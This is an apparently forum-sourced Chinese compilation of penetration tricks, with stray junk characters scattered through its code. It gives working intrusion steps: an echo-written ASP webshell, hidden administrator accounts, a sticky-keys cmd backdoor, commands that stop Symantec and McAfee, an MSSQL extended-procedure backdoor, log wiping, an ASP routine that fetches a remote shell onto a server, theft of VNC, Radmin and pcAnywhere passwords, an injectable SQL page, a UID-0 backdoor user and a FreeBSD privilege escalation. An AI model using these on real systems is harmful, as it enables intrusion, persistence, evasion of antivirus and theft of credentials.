渗透技巧总结

admin

旁站路径问题
9 Z4 \+ w5 Q0 B+ z1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

) B2 L; K3 I0 H& j  d# ^Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

+ C/ ]9 v+ @1 f; K6 QUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
) j- d# P7 n4 Q. \. g0 x3 QEnd If
% C& U) U# O3 g6 H1 ZSet ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)
# r4 j' m2 e: f; p' \: h7 \* N
) {/ ~* ]) F2 MThen
2 |) ]' x+ w* @' T, Y4 k                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
) X" q, G3 L% [4 e$ Q" O6 y         
: Q# n+ s# h7 F8 n3 Q
( L" _1 O- e4 w2 I' L  v0 }$ w       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
% O2 ~# c9 g. Q' J! c8 e/ b
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
) T; [; ]) @. @0 a# b2 C& A
1 D9 h9 f6 s* A; ^6 r" _OService.ServerComment & "]"
" l, P! @! L0 l$ M                For Each Binds In OService.ServerBindings
) ^: R, J0 T2 m     
4 A7 e* n3 Z# e3 V' K" ]0 f  C
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
4 \, T5 U% O5 k                        
1 H, v# c' ?4 |& u0 Z* s) v
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
0 d6 c& a1 [8 e- e                Next
. ?$ x7 d4 [, P% s8 t$ o7 p2 |      
4 H5 p6 ?' P( L; ]) q* s, _5 S
  E: E, Y4 n, h+ Q. o         WScript.Echo "ath            : " & VDirObj.Path
        End If
0 C' T% W! `$ t; {$ V/ JNext
复制代码
+ g0 U. O$ O6 y, Y) [, N9 z3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
6 g6 W: l! l! B; ^- S" I4 q4 w4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
( J# L- z( x- _$ v4 `WordPress的平台，爆绝对路径的方法是：
/ O" E/ ]" \6 G$ curl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
4 ?2 o' @" Z' C——————————————————————
6 f& Q$ [8 F5 E9 TphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
" f" @, {' \' E% J- k. u0 E网站可能目录(注：一般是虚拟主机类）
' {7 b+ }- i& P, W; o! Zdata/htdocs.网站/网站/
' [! F& m0 M; O7 M. K————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
  x& Q* {5 b; b2 v6 E; s, }netsh ras set user administrator deny #禁止administrator拨入该VPN
" `! W, ^' K7 Z1 Gnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
2 F$ B  ?) C2 o; h/ onetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
9 p: X8 N' G" K% e. T3 x& Ynetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
, t6 \6 j: j" R7 x, U7 S$ }需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
5 r4 Z5 M" D, E/ ~  \/ t  @exec master.dbo.sp_addlogin test,123
6 ~, [6 e! {; \7 c7 G& j% ]6 _EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

" W8 n, ~! l4 f1 I5 q' l另类的加用户方法
- B3 E: G& l) q在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
( Y' e( a, z7 z# w: y  ?' U2 {var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
8 T! M, z+ G. Fz.changePassword("123456","")
4 n5 W( I% k1 \4 ]1 m0 Fz.setting("AccountType")=3;
  ]6 g1 U  D( E. p$ Q7 @* h% Q
vbs:
* X1 H8 @& G# y  m# W! wSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
& f: n' A8 Q4 ^. ^8 C7 K% kz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
8 D  _5 w& I( T% ncmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
$ v7 h7 t& B) e* R. v( s1 dcacls c: /e /t /g everyone:F           #c盘everyone权限
) n' S; U0 {* H: V2 ]cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
: f' C6 H1 U+ v. K3389相关
7 w) h3 y! j# ma、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
+ G+ o' `) L6 e0 Db、内网环境（LCX）
( T% c  |* O* L8 Z( Dc、终端服务器超出了最大允许连接
. c7 q( c* W/ ^" O: N; F% ^XP 运行mstsc /admin
2003 运行mstsc /console   

, e% f0 [$ ^: r/ z6 d杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
! B& k) A4 P/ ~! i  Hnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
# \* v! c9 a) E* m& b5 _net stop "Symantec Settings Manager" /y
- J# W- i0 I: X0 {7 H! I3 J
卖咖啡：net stop "McAfee McShield"
( M0 n  @" V( N' _- L6 R————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
2 I( Z; V3 R6 Q, B0 P; V4 E# P- {copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
3 @. P0 W$ f. |, \+ O9 y9 z! w' l1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
% X* l6 L9 k' G- ~4 H5 u7 O2、导出注册表SAM下用户的两个键值
* J. d3 O( \; V% R+ j3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
. _6 R8 y0 n4 X8 W& SC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
( @1 D) B$ M0 L1 O8 w3 Dex011120.log / ex011121.log / ex011124.log三个文件，
& ^, g8 c3 f: ?% o6 k% r8 ^( B直接删除 ex0111124.log
# f% {$ c- |8 ]- j不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
  ?; S8 h; T/ m9 d2 Z用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
1 r; y4 I4 O1 `; T找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
' N1 l- D9 B8 j. d2 i
Server\90\Tools\Shell\mru.dat
# q2 L' R+ t8 Y, g6 W+ y* {—————————————————————————
7 x1 n$ v4 ?" K/ a( ?防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
1 g9 A4 T+ G( P7 r! T, U.Open "Get", s_RemoteFileUrl, False, "", ""
4 O& O- T2 c# ?, j0 p8 r" ~4 I( Z.Send
2 K4 K1 n; l# e! j7 VGetRemoteData = .ResponseBody
8 E; n& i2 Q5 e9 L# J1 j' v2 i& kEnd With
2 @+ k7 L. e) v  j8 OSet Retrieval = Nothing
, k4 i7 x! E# T1 W5 Y# ?Set Ads = Server.CreateObject("Adodb.Stream")
. k( Y$ Z3 E% n# D9 h5 q) j  [With Ads
.Type = 1
.Open
.Write GetRemoteData
- d1 o% ]5 i7 ]$ _7 o. Z.SaveToFile Server.MapPath(s_LocalFileName), 2
5 M- r# \; W7 {* _; l.Cancel()
.Close()
End With
* @7 {+ x6 P3 H, r% y' W2 {Set Ads=nothing
End Sub
1 j4 D4 c1 t4 B* U8 |
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
2 n/ ^& k% @% p7 e%>
5 I) L+ u: j+ y/ U/ n
8 C+ Y# c$ j/ R, y$ K" T, m% p) |VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
+ e4 R4 \* I* A! N8 x$ B4 _8 z: hregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
! D9 w% v9 K* U6 p/ RHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
# ]- {+ O0 P( W/ h8 b7 o" Z然后用HASH版连接。
. A- n7 U2 C  \# c如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
) ]" ]6 _0 J3 o4 v% N- c7 G" J& E保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
9 u" T: i; X3 u, v* r, L——————————————————————
' k% |2 h8 P6 U0 D9 c% v搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
% k) f5 Q9 S' `' dWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
* L# k" h0 M/ V4 }: l  h没有删cmd组建的直接加用户。
' b9 {) o# j# Y& a4 T7i24的web目录也是可写，权限为administrator。
: Z: |; [7 U3 A6 Q
1433 SA点构建注入点。
<%
, ]1 a5 w  l4 X3 }! r* bstrSQLServerName = "服务器ip"
+ ^* _/ ?1 S9 U2 I5 M" istrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
. p1 ^8 S$ m& E  m3 r6 S8 _7 jstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
. L! y* N- y% b& ]strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

) u) {& J' O2 FstrSQLDBName & ";"
8 g( l+ F4 v3 b+ iconn.open strCon
# E, ?1 x6 \& Ydim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
) N2 c( d+ O, f4 T$ u. \8 @id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
* j8 l% b; w/ r( L* V看看密码登录策略我们可以看到使用了file ldap模式

3 j$ i. F* {* C" x6 U2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
- B8 s( y, n/ l6 Lldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

& v# Y3 t; Y3 s8 c. n; m) M"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ P0 o6 [# j) i7 y" T" A( i
6 t; s/ ?; O1 l% t8 E7 t
% E0 \/ I. i1 [: l) c+ A4.查找10条用户记录
# r# I9 a) ^* u$ z9 gldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
8 H9 n4 I6 [+ C5 A! k. I8 d看看密码登录策略我们可以看到使用了file ldap模式
$ o3 ?: M7 {% k  o
& ?- ~, O0 p1 Q8 R2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
# Z+ O. W5 C4 V匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
1 s' b" W2 i5 ~( ?* I+ G& F7 M( u
( L4 R# U* e2 }3 E- l! @3 ["cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ Y3 l( u, |  M6 }  d" r1 w有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

- U8 U) f( L- D+ A' G"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* M( ^- H1 `2 a) d& Q

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
7 |; n" y  R* j7 F5 I/ b" d8 uldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
" H* \* J& Q$ ^5 dversion: 1
. A/ V3 t0 @3 v! Qdn: dc=ruc,dc=edu,dc=cn
dc: ruc
( Q+ i5 x7 O# wobjectClass: domain

+ Q% `! p+ S2 w/ X. G: P) kdn: uid=manager,dc=ruc,dc=edu,dc=cn
- f" A. }2 o7 U* quid: manager
% x6 h7 ~; |+ W9 c! u4 s2 fobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
( q9 Y8 ~) E: }2 g+ `2 T: ^. ssn: manager
cn: manager
8 Q2 }' H) i) P4 ?" C
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
2 j! M% s" q' L# z! C5 g0 euid: superadmin
' j- O( E) [9 J+ P% o. d  Q$ \  aobjectClass: inetOrgPerson
/ b/ R  u' D9 zobjectClass: organizationalPerson
2 o9 Q" L2 t/ q9 aobjectClass: person
8 F2 u5 S9 B% [/ [objectClass: top
sn: superadmin
cn: superadmin
4 J3 B& ~! c" Y0 J
! [8 S$ l* j7 u6 E. p4 o" I; N  ~dn: uid=admin,dc=ruc,dc=edu,dc=cn
" ^0 f5 Z9 Y3 ~9 Iuid: admin
' L; e1 o0 v  i. ^1 q0 g+ pobjectClass: inetOrgPerson
objectClass: organizationalPerson
& P# T' a8 m. b4 sobjectClass: person
objectClass: top
6 T2 s  u5 a( Bsn: admin
cn: admin

( o7 T' O9 {$ K& F2 ^6 P) Hdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
5 W% N. _* l- M; J6 l; q5 NobjectClass: person
4 k* D2 p' T3 e8 g/ Y5 ~objectClass: organizationalPerson
objectClass: inetOrgPerson
5 G( v6 @* U; h! |sn: dcp_anonymous
% D5 p8 N" X; Z4 Icn: dcp_anonymous
+ j0 Z" f' J" {
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
* B- ]3 x+ J9 O8 ~version: 1
6 d  }' w" _3 j2 T4 Udn: dc=ruc,dc=edu,dc=cn
" ]  J8 {9 T3 rdc: ruc
8 w, E+ C' j4 `8 b4 ]8 DobjectClass: domain

3.查找
3 }( J; D$ `; u( W. }# @3 Jbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
0 @4 c+ h/ I& O! G' B$ n; j. pobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
2 L8 |5 h, X/ s7 U# V: i5 P; WsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
5 b% c- q7 G& L. r4 tsupportedExtension: 2.16.840.1.113730.3.5.3
- C9 a! s$ U3 D2 C6 B% WsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
1 e3 @8 A9 S% W4 NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
4 U: B# @& j, b6 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
. u4 j8 u: j5 }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
) v( d9 i7 g0 }8 p7 ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
2 O7 m& }( F1 ]  _( C9 Y) C' vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
5 B  g1 e: k: H7 _+ F% asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
8 N* y( I$ T' K) e/ O3 E6 VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
5 W+ ^1 u9 a* `, t0 ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
  x5 F  u9 G# H2 n' j' u2 U4 KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
* {. b5 f2 i/ c8 R2 Y- wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
/ v3 |1 c$ a# F1 G* ^" V3 xsupportedExtension: 1.3.6.1.4.1.1466.20037
& ]" p7 m$ _6 m' T4 m- g# i* psupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
$ ~2 W& A. K/ a/ c1 ]supportedControl: 1.2.840.113556.1.4.473
6 j( t! j2 b5 P' NsupportedControl: 2.16.840.1.113730.3.4.9
: K/ K3 o4 e0 t. ^supportedControl: 2.16.840.1.113730.3.4.16
: o0 H# Z) U. k2 U/ z% [9 t; XsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
# C8 {6 F0 H- l. N+ T2 @( bsupportedControl: 2.16.840.1.113730.3.4.19
" I* u/ B7 Y# g, P6 L: P- `supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
+ L$ t- o& X1 Y) L0 V4 R$ S) tsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
& n0 h! s$ s/ C- g  d6 usupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
; J! A  Q  X6 C2 j7 D0 AsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
; k- c& R/ j) M0 K" m" P4 A% A: @supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
, ~. B9 I3 Y) `/ N) M/ ^$ EsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
  P8 ]- S  y- n/ i  U/ X$ E% F6 KsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
9 a8 {( i& _" Y  vsupportedLDAPVersion: 2
supportedLDAPVersion: 3
! @- d8 _6 _3 R# y9 QvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
+ v& m% {, D% [' Q9 u- D$ msupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
% V& Z: r1 d- wsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
$ k, l; Q$ V5 f& K6 Z# Q- usupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
" s/ v5 U" c  h0 hsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
' o# [- M2 `& n' |6 y0 m* ~supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
  Q. c7 e& u6 t4 y. N0 b/ G' isupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
6 p( |* W) d* B* S3 }supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0 s4 K; H0 j) s& O2 v+ m5 ~supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
! ?; A9 F1 C1 A# d0 n8 |supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
+ M8 I4 y" p' K- ysupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
* d" l# v8 g7 q: m6 G5 CsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
7 l7 H1 z6 l6 Z. |4 P' H1 ], osupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
, e1 j: K3 p! W8 K$ psupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
6 |! ^( h% g* S0 z, h( g. _supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
1 _2 Z7 c1 S9 M1 A9 lsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
! D1 p9 m2 X; ^! f! j: WsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
. q: p6 G8 [! w8 l6 X0 ssupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
% X* v0 S( k$ L0 [supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
+ }9 j, K. B& s& MsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
  J3 O1 d' f/ t4 O  c( T& c: ysupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
- j" ^  [, _1 U3 M2 i  e; m! PsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
! o% g  v& T' x- T* `- @supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
3 s6 v1 ~# c$ |/ D3 Z( r1 XsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
1 b2 |  k- G# E! qsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
& x7 P" g& T3 G0 G2. NFS渗透技巧
showmount -e ip
列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
! k+ l( C$ ^" J, k' u8 \rsync 210.51.X.X::
finance
img_finance
! u8 A% M. g0 j+ n8 lauto
img_auto
html_cms
; c; s, ]6 O- L7 ]% g! Qimg_cms
: p1 z5 J  u! |6 L0 i. R+ sent_cms
, H9 [3 a1 H. V2 z; r5 y8 l6 bent_img
ceshi
res_img
2 G9 b% M# V$ U" y4 n. Ures_img_c2
chip
* H+ D% v. y9 r& G  l/ C& R& \. S% I! Pchip_c2
ent_icms
games
% ?+ H3 {& ?  ~8 q- b. rgamesimg
6 L# g  s* d0 L  L1 l1 F; \' Y  _media
: t8 }4 P. T3 }8 C8 A3 Zmediaimg
fashion
res-fashion
res-fo
# `6 g4 ?& Z, N0 R+ E) b0 Ktaobao-home
res-taobao-home
" t5 D, H3 G; ^! v, n/ K4 F4 C6 khouse
res-house
res-home
" r6 j7 |1 ?# _* G5 l1 ^res-edu
res-ent
res-labs
$ Z1 i+ _/ N  wres-news
res-phtv
" _& Z& ~, X1 Vres-media
home
  i7 O' C! E% _3 x- w0 F) Oedu
news
res-book

0 O6 N2 X* H) ~看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
; L; G2 d+ [+ u( jrsync 210.51.X.X::auto/
. ~4 S! r8 W! c& _+ ]2 Brsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
2 X0 O7 C8 S5 \http://app.finance.xxx.com/warn/nothack.txt
! }" t( L3 \+ m* U8 D
四.squid渗透技巧
$ B. J! n: I7 Qnc -vv baidu.com 80
  ~/ A- P  n  O" d2 X: [9 t9 |1 IGET HTTP://www.sina.com / HTTP/1.0
$ K( K: B1 l8 ?7 @2 x; ]8 uGET HTTP://WWW.sina.com:22 / HTTP/1.0
  R: Z: A' m+ X6 w  n$ Z( r五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
' H: L" I+ a+ X/ ~4 d确定版本
  W( A7 K# s6 I+ ^( [) S/ v3 V' Kindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

# f, D/ v) q; \% L5 n重新设置密码
index.php?option=com_user&view=reset&layout=confirm
+ H' E- F( U4 A2 g% k. S3 i
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

% d6 V5 N2 u( u. N八.freebsd本地提权
7 H- a% _# d' m" r# |- t) D. x  o[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* u3 m) @) N# ]2 a6 K* vfs.usermount: 1
  ?4 M0 ?4 F4 d) _6 e8 v( e0 C+ X* [argp@julius ~]$ id
& \, e. l9 g2 X% j5 D- I) D5 u* uid=1001(argp) gid=1001(argp) groups=1001(argp)
' p$ r$ N. F  |2 H5 p* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
) b2 U( J# ~: U( y- ^3 U*
calling nmount()

4 _9 L. z# k/ y! v: P（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
( f* S) Q0 h' v3 l9 {2 @5 q——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
